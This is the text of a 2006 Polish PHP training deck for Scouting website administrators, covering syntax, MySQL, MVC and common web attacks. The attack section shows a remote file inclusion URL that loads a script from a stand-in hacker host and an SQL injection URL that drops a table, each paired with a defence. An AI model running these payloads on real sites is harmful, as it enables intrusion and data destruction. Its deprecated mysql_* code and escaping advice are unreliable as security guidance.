PHP Hypertext Preprocessor - Pliki

advertisement
Programowanie.
Początki i rozwój
programisty.
Szkolenie dla administratorów
stron internetowych hufców
Śląskiej Chorągwi ZHP
Chorzów
2006.11.25
Istota i sens programowania
Umiejętność dobrego programowania aplikacji internetowych
ma wpływ na:
• Łatwość poruszania się w świecie nowoczesnych technologii
• Możliwość bycia niezależnym w pewnych obszarach informatyki
• Możliwość tworzenia autorskich aplikacji
• Możliwość samodzielnego rozwoju aplikacji
• Możliwość informatyzacji niektórych procesów i procedur
• Zwiększenie funkcjonalności stron internetowych
• Wzrost efektywności, wydajności i efektowności aplikacji
• Wzrost zainteresowania prowadzonymi serwisami internetowymi
• Wzrost oglądalności prowadzonych stron WWW
• Posiadanie przyszłościowych perspektyw
Przygotowanie do
programowania
aplikacji internetowych
Wybór języka programowania
Wybrane języki umożliwiające
tworzenie aplikacji internetowych:
• ASP
• CGI
• JSP
• Ruby
• PHP – PHP Hypertext Preprocessor
Najczęstszy
Schemat działania aplikacji PHP
Wybór serwera HTTP
Serwery, z którymi może współpracować PHP:
• Zeus
• OmniHTTPd
• Xitami
• IIS
• Apache
Wybór bazy danych
Bazy danych obsługiwane przez PHP:
• FrontBase
• Firebird/Interbase
• Informix
• Ingres II
• mSQL
• MS SQL
• Oracle
• ODBC
• Sysbase
• PostgreSQL
• MySQL
Wybór oprogramowania do
obsługi bazy danych
Wybrane narzędzia:
• phpMyAdmin
• MySQL Gui Tools
–
–
–
–
–
Migration toolkit
Query browser
Administrator
Workbench
System Tray
Monitor
• Navicat
Wybór edytora
Wybrane edytory:
• Notatnik
• Edit plus
• Pajączek 5 NxG Pro
Część ważnych funkcji
dobrych edytorów:
• Kolorowanie składni
• Numerowanie linii
• Praca w zakładkach
• Zaawansowane
przeszukiwanie pliku/plików
• Masowe operacje na plikach
• Zarządzanie projektami/serwisami
• Duże możliwości konfiguracyjne
Instalacja oprogramowania na
serwerze
Wybrane gotowe pakiety instalacyjne:
• Fox serv
• PHP Triad
• Krasnal
Większość pakietów najczęściej instaluje
w komputerze serwer HTTP wraz
z PHP i bazą danych, które zaraz po
instalacji są gotowe do użycia.
Rozpoczynanie programowania,
podstawy PHP
Skrypty PHP
Skrypty PHP najczęściej posiadają rozszerzenie *.php i są tworzone
przy pomocy dowolnego edytora tekstów.
Skrypty PHP mogą być zwykłymi plikami, w których zagnieżdżone są
instrukcje PHP.
Parser PHP wykonuje kod, który znajduje się pomiędzy instrukcjami .
Oto przykład:
Trzy razy trzy jest <?php echo(3 * 3) ?>
Komentarze
Komentarze są elementem składni obecnym w każdym języku
programowania. Komentarze to sposób, aby zawrzeć w kodzie źródłowym
własne przemyślenia, pomysły dotyczące kodu, czy też prawa autorskie.
Przeważnie są stosowane do opisu kodu, wytycznych, co robi dana linia.
Komentarze są całkowicie ignorowane przez interpreter.
Istnieje kilka sposób komentowania kodu.
<?php
echo 'Hello World!'; // przywitanie
# to jest komentarz
/*
a to jest komentarz,
który może się znajdować w wielu liniach
*/
?>
Instrukcje
Programowanie opiera się na stosowaniu instrukcji języka, czytelnych
dla parsera.
W większości języków programowania jest tak, że instrukcje musza
być oddzielone od siebie znakiem średnika (;).
Przykład:
<?php
echo 3 * 3;
echo 4 * 3;
echo('Hello World!');
?>
Typy danych
Pomimo tego, że PHP jest bardzo elastyczny, do jednej zmiennej możemy
przypisać dowolne dane, to
istnieje możliwość ustalenia typu wcześniej. W językach takich jak C, czy
Delphi przy deklaracji zmiennej musimy określić jej typ, czy będzie to
liczba, czy tekst itd. PHP rozpoznaje następujące typy danych:
· boolean – tzw. boolowski (true lub false);
· integer – liczba całkowita;
· float – liczba zmiennoprzecinkowa;
· string – łańcuch znaków;
· array – tablica;
· object – obiekt;
· resource – zasoby;
Zmienne
Zmienne to kolejny element dostępny praktycznie w każdym języku programowania.
Stanowi on swoisty pojemnik na dane. W każdym momencie możemy zadeklarować
zmienną, przypisać jej dane, aby później ów dane odczytać.
Zmienne w PHP deklaruje się w bardzo prosty sposób, z użyciem znaku dolara ($). PHP,
w przeciwieństwie do innych języków programowania, nie wymaga określania typu
zmiennej. Oznacza to, że jedna zmienna może zawierać dane w postaci liczbowej,
tekstowej lub logicznej.
Przypisanie danych do zmiennej odbywa się przy pomocy operatora przypisania (=).
Przykład:
<?php
$zmienna1 = 10;
$zmienna2 = 'Tekst';
$zmienna3 = true;
echo $zmienna2;
?>
Operatory
Operatory służą do manipulacji danymi. Dzielą się na kilka kategorii.
• Operatory arytmetyczne ( + - * / )
• Operatory przypisania ( = += .= itd. )
• Operatory porównania ( == <> === != > < <= >= )
• Operatory bitowe ( & | ^ ~ << >> )
• Operatory logiczne ( and or xor ! && || )
• Operatory łańcuchowe ( = .=)
• Operatory inkrementacji i dekrementacji ( ++ -- )
• Operatory kontroli błędów ( @ )
Instrukcje warunkowe
Instrukcje if, else, elseif
Podstawową instrukcją warunkową jest if, która wykonuje dane działania w zależności, do tego, czy
podany warunek zostanie spełniony. Często tworzy się bloki także z wykorzystaniem instrukcji
else oraz elseif. Blok instrukcji może posiadać taką konstrukcję:
if (warunek) {instrukcja} elseif(kolejny warunek) {instrukcja} else {instrukcja}
Wraz z instrukcjami warunkowymi, bardzo często wykorzystywane są operatory logiczne oraz
porównania:
<?php
$var = true;
if ($var == true)
{
echo 'Zmienna $var posiada wartość true';
}
elseif($var < ‘4’)
{
echo 'Zmienna $var nie posiada wartości true i jej wartość jest mniejsza od liczby 4';
}
else
{
echo 'Zmienna $var nie posiada wartości true, a jej wartość nie jest mniejsza od liczby 4';
}
?>
Instrukcja Switch
Instrukcja switch używana jest przeważnie w przypadkach, gdy mamy do czynienia z wyliczeniem
wielu możliwych działań w zależności od uzyskanej wartości. Stosuje się ją w przypadkach,
które wymagałyby wielu instrukcji if.
Przykładowa instrukcja switch:
<?php
$jezyk = 'pl';
switch ( $jezyk )
{
case 'pl':
$powitanie = 'Witaj!';
break;
case 'en':
$powitanie = 'Welcome!';
break;
case 'de':
$powitanie = 'Willkommen!';
default:
$powitanie = 'Witaj!';
}
echo $powitanie;
?>
Pętle
Pętla while
Pętla while jest najprostsza pętla oferowana w PHP. Przed wykonaniem sprawdza warunek jej
zakończenia i jeżeli zostaje on spełniony – nie wykonuje żadnych instrukcji. Jeżeli warunek nie
zostanie spełniony wykonuje instrukcje z ciała pętli do momentu spełnienia warunku. Oto
budowa pętli while:
while (warunek)
{
instrukcje;
}
<?php
$i = 0; // deklarujemy zmienną (licznik)
while ( $i < 10 ) // wykonuj dopóki zmienna $i jest mniejsza od 10
{
$i++; // zwieksz licznik o 1
}
echo "Pętla została wykonana $i razy.";
?>
Pętla do ... while
Pętla do ... while jest bardzo podobna do pętli while. W zasadzie jedyna różnicą jest
fakt, iż warunek zakończenia pętli sprawdzany jest na końcu, a nie na początku,
jak to ma miejsce przy pętli while. Oznacza to, że pętla zawsze, zostanie
wykonana, co najmniej raz.
Przykład:
<?php
$bool = false;
do
{
echo 'Witaj!';
}
while ($bool);
?>
Pętla for
Pętla for zasadniczo różni się od wspomnianych wcześniej pętli. W pierwszym wierszu
pętli znajdują się wszystkie wyrażenia kontrolujące:
for (wyraenie1; wyraenie2; wyraenie3)
{
instrukcje;
}
Przykład:
<?php
for ( $i = 1; $i <= 10; $i++ )
{
echo "Napis nr $i<br/>";
}
?>
Funkcje
Idea programowania proceduralnego zaczęła się pojawiać wraz z bardziej
zaawansowanymi programami. Tradycyjny moduł projektowania nie sprawdzał się
dobrze, gdy programy zaczęły być
bardziej skomplikowane – wówczas ich konserwacja i naprawianie błędów było
niezwykle trudne. Ktoś mądry wymyślił wtedy, że można by było program dzielić na
mniejsze części – tzw. procedury.
Taką procedurę można zawrzeć w funkcji i wywoływać wielokrotnie.
Przykład:
<?php
function Fahrenheit( $Celsius )
{
return ( $Celsius * 9/5 + 32 );
}
$Celcius = 30;
echo "$Celcius stopni Celsjusza to " . Fahrenheit($Celcius) . " stopni Fahrenheita";
?>
Manual PHP
Manual PHP, jest to swego rodzaju Vademecum, w którym można znaleźć dokumentację
całego opisywanego języka wraz z przykładami. Istnieje również możliwość
przeglądania strony w polskiej wersji językowej. Manual jest dostępny na oficjalnej
stronie PHP pod adresem http://www.php.net . Można go także ściągnąć z
wymienionej strony w wersji off-line.
Najczęściej stosowane
schematy programowania
• Programowanie strukturalne
(ang. Structural Programming)
• Programowanie zorientowane obiektowo
(ang. Object Oriented Programming)
Wykorzystanie baz danych w
aplikacjach
• Wykorzystanie bazy danych w aplikacjach wymaga znajomości
strukturalnego języka zapytań SQL
• Baza danych usprawnia organizację serwisów internetowych posiadających
dużą ilość informacji
• Istnieje możliwość operacji na danych
– Dodawanie
– Edycja
– Usuwanie
– Przeszukiwanie
– Sortowanie
– Dynamiczne porcjowanie
– Archiwizowanie
– Zabezpieczanie
• Możliwość integracji z różnymi systemami
• Bazę danych można projektować z wykorzystaniem odpowiednich narzędzi
Komunikacja z bazą danych
MySQL w PHP
Prosty przykład obrazujący komunikację z bazą danych MySQL za pośrednictwem PHP:
<?php
$polaczenie = mysql_connect('localhost', 'uzytkownik', 'haslo');
$wybranaBaza = mysql_select_db('mojabaza',);
if($polaczenie)
{
print 'Połączenie nawiązane<br/>';
if($wybranaBaza)
{
print 'Baza wybrana';
$zapytanie = mysql_query('SELECT id, nazwa FROM tabela');
$tablica = mysql_fetch_array($zapytanie);
print '<br/>Pobrane dane: ';
print_r($tablica);
}
else
{
print 'Nie można wybrać bazy<br/>';
}
}
else
{
print 'Nie można nawiązać połączenia';
}
mysql_close($polaczenie);
?>
Programowanie
zaawansowanych aplikacji
w PHP
Ogólny proces
projektowania
złożonego systemu
Ustalanie wymagań
jakie ma spełniać projekt
Diagramy klas
Diagramy aktywności
Diagramy przebiegu
Diagramy stanów
Diagramy komponentów
i instalacji
Tworzenie
specyfikacji systemu
Wprowadzanie
poprawek
Faza testowania
Finalizacja pracy
Sporządzanie
dokumentacji systemu
Budowa systemu
Sporządzanie
Diagramów
(UML)
Sporządzanie
szkieletu aplikacji
Zestaw często używanych
narzędzi
Podczas tworzenia aplikacji internetowych korzysta się ze stałych rozwiązań i
komponentów, dlatego warto przygotować sobie zestaw często używanych
elementów, w celu zwiększenia wydajności i efektywności systemu, a także
szybkości tworzenia projektu.
Główne elementy podstawowego szkieletu aplikacji, czyli tzw. framework-a
- Sterownik bazy danych
- Szkielet kontrolera i elementów sterujących
- Szkielet uniwersalnej warstwy modelu
- Szkielet uniwersalnej warstwy widoku
- System szablonów
- Dodatkowe komponenty
Frameworki
Framework to szkielet aplikacji, który można wykorzystywać do
tworzenia własnych projektów. Nic też nie stoi na przeszkodzie,
aby napisać własnego frameworka, co jest nawet bardziej
wskazane.
Wszystkie aplikacje tego typu są napisane obiektowo i korzystają
z tzw. wzorców projektowych.
Istnieją duże, otwarte projekty programistyczne mające na celu
tworzenie
i rozwijanie frameworków. Niektóre z nich to:
• Mojavi
• PHP Cake
Wzorce projektowe
Wzorce projektowe są to koncepcje programistyczne usprawniające
proces projektowania i funkcjonowania aplikacji oraz rozwiązujące
niektóre problemy, z którymi borykają się programiści.
Jednym z najbardziej popularnych wzorców jest MVC.
Model-View-Controller (Model-Widok-Sterownik). Schemat MVC:
Różne źródła danych
Użytkownik
Różne formy
prezentacji danych
Pobieranie danych
i operacje na nich
Model
Sterownik
Przesyłanie
i zapisywanie danych
Przesyłanie danych
Widok
Wybrane ataki na aplikacje
i ochrona przed nimi
Cross Site Scripting (XSS)
XSS jest to technika przechwytywania informacji wykorzystująca
możliwość przesyłania danych sterujących (najczęściej kodu HTML
lub poleceń języka JavaScript) do innego klienta serwera HTTP
interpretującego te dane jako pochodzące z zaufanego źródła
(zaufane źródło to np. twórcy danego serwisu WWW).
XSS – brak filtracji danych
Często brak filtracji danych pochodzących z formularzy na stronie umożliwia
uszkodzenie struktury wizualnej strony lub umieszczenie złośliwego kodu
JavaScript. Przykładowy, wypełniony formularz może wyglądać tak:
Natomiast efektem braku filtracji danych będzie wyświetlenie się, w miejscu
przechowywania konkretnych wpisów, komunikatu:
W celu zapobiegania włączania kodu w taki sposób, należy stosować funkcję
htmlentities(), która odpowiednio przekształca znaczniki.
XSS – włączanie zewnętrznego
kodu do aplikacji server-side
Czasami dane znajdujące się w adresie nie są filtrowane, a czasem także bezpośrednio
z niego sczytywane, co również umożliwia potencjalny atak.
Przykładowe kody, umożliwiające atak mogą wyglądać następująco:
1) http://www.przykladowastrona.pl/plik.php?id=<h1>Przykładowy tekst</h1>
W przypadku, gdy strona wyświetla dane pochodzące bezpośrednio z adresu, kod
<h1>Przykładowy tekst</h1> zostanie wyświetlony na stronie.
2) http://www.przykladowastrona.pl/plik.php?id=http://strona-hakera.pl/skrypt.txt
W przypadku, gdy strona włącza dane pochodzące z plików i nie filtruje adresu, jest
możliwe włączenie dowolnego kodu PHP z zewnątrz i jego wykonanie na serwerze
ofiary. Osoba atakująca uzyskuje wtedy praktycznie pełne prawa do operacji na
plikach strony (tworzenie, edycja, usuwanie).
SQL Injection
Atak typu SQL injection polega na ingerowaniu w zapytania SQL, co umożliwia operacje
w bazie danych
Przykładowy kod:
http://www.przykladowastrona.pl/plik.php?id=1;DROP%20TABLE%20informacje;-Jeżeli wartość zmiennej o nazwie id jest częścią jakiegoś zapytania, które nie jest
odpowiednio zabezpieczone, zostanie usunięta tabela o nazwie informacje. Znak
średnika (;) oznacza zakończenie jednego zapytania do bazy. Po nim można
rozpocząć kolejne, które wygląda w tym przypadku następująco:
DROP TABLE informacje;
To zapytanie usuwa z bazy tabelę o nazwie informacje. Kończy je średnik, po którym
następuje znak rozpoczęcia komentarza SQL (--), co oznacza, że dalsza część kodu
SQL, który mógł zostać zamieszczony w pliku, nie wykona się. Łatwym sposobem na
uchronienie się przed tego typu atakami, jest stosowanie funkcji
mysql_escape_string() oraz definiowanie typów danych.
Cookie poisoning
Atak typu cookie poisoning polega na odpowiednim preparowaniu plików ciasteczek
(cookie), które są zapisywane w komputerze odwiedzającego daną stronę
internetową. Modyfikacja ciasteczek może umożliwić, w przypadku źle napisanych
aplikacji, uzyskanie uprawnień administratora bez znajomości jego hasła przez
osoby do tego nie uprawnione.
W celu zabezpieczenia się przed tym należy nie przechowywać uprawnień
administracyjnych w plikach cookie. Należy tam zawierać jedynie login
i zahaszowane hasło użytkownika, a następnie porównywać je z danymi
znajdującymi się w bazie danych, po czym nadawać uprawnienia na podstawie
tejże bazy.
Przechwytywanie sesji
Sesje, podobnie jak cookie, pozwalają na przechowywanie danych w plikach, z tym wyjątkiem, że
owe pliki są zapisywane w katalogach systemowych na serwerze, a nie na dysku komputera
odwiedzającego stronę. Sesje mają także krótki czas życia, a cookie mogą być aktualne bardzo
długo.
Słabo zabezpieczone serwery pozwalają na przeglądanie swoich katalogów systemowych. Można to
robić z poziomu PHP. Czasem jest także dostęp do katalogu z sesjami. Posiadając identyfikator
sesji można np. uzyskać uprawnienia administracyjne dla jakiejś strony. Należy także wiedzieć
(lub ewentualnie zgadnąć) jaki identyfikator odpowiada interesującej nas stronie i czy jakiś
administrator jest tam aktualnie zalogowany.
Przykładem na słabe zabezpieczenie serwera jest serwis http://freefronthost.com oferujący
darmowy hosting. Na tym serwerze można przeglądać pliki znajdujące się w wyższych
katalogach niż własne konto, w tym także sesji, co stwarza potencjalne niebezpieczeństwo.
Rozwiązaniem tego problemu może być stworzenie własnego mechanizmu sesji.
Sposoby wykorzystania PHP
• Projektowanie stron internetowych
• Kontrola procesów systemowych
(głównie w systemach typu UNIX)
• Inne zastosowania
PHP daje bardzo szerokie możliwości.
Sposób, w jaki wykorzysta się ten język
zależy wyłącznie od własnej
kreatywności.
Projektowanie chat bota
W PHP można stworzyć namiastkę sztucznej inteligencji w postaci chat bota, którego
następnie można zintegrować z IRC botem, który również może być napisany
w PHP.
Zarządzanie komputerem przez
telefon komórkowy
Kolejną rzeczą, jaką można stworzyć w PHP, jest aplikacja
pozwalająca na zarządzanie komputerem przez telefon
komórkowy.
Tworzenie arkuszy MS Excel
PHP pozwala także na generowanie arkuszy MS Excel. Jest to przydatne przy
dynamicznej prezentacji danych pochodzących np. z bazy danych.
Stworzenie takiego arkusza jest bardzo proste. Polega to na wysłaniu odpowiedniego
dla aplikacji Excel nagłówka do przeglądarki, a następnie wstawieniu tabeli w
formacie HTML. Oto przykład:
<?php
header("Content-type: application/vnd.ms-excel");
echo ‘<html><head></head><body>’;
echo ‘<table><tr><td>komórka nr 1</td><td>Komórka nr 2</td></tr>’;
echo ‘</table>’;
?>
Poszukiwanie dalszych informacji.
Pomocne adresy WWW i książki
1.
1.1.
1.2.
2.
2.1.
2.2.
2.3.
2.4.
2.5.
2.6.
2.7.
2.8.
2.9.
2.10.
2.11.
3.
3.1.
3.2.
3.3.
3.4.
4.
4.1.
4.2.
4.3.
4.4.
5.
5.1.
5.2.
5.3.
Podstawowe strony
http://www.php.net
http://www.php.net/manual/pl/
Polskie strony
http://www.php.pl
http://www.forum.php.pl
http://www.wiki.php.pl
http://www.php5.pl
http://www.webhelp.pl
http://www.4programmes.net
http://www.strefaphp.net
http://www.webcity.pl
http://www.krasnal.tk
http://www.phpsolmag.org
http://advajax.anakin.us
Zagraniczne (angielskie) strony
http://www.patternsforphp.com/
http://www.phppatterns.com/
http://www.sitepoint.com
http://adaptivepath.com
Strony dotyczące bazy danych MySQL
http://mysql.com/
http://dev.mysql.com/downloads/
http://webcity.pl/webcity/kursy.php?k=mysql
http://www.navicat.com
Literatura
PHP 4 – Ćwiczenia praktyczne oraz PHP 5 – Ćwiczenia praktyczne
PHP 5 – Zaawansowane programowanie
Inne książki dobrych wydawnictw (np. Helion) http://helion.pl/search.cgi?szukaj=php
Dziękuję za uwagę
Piotr Wittchen
<[email protected]>
Download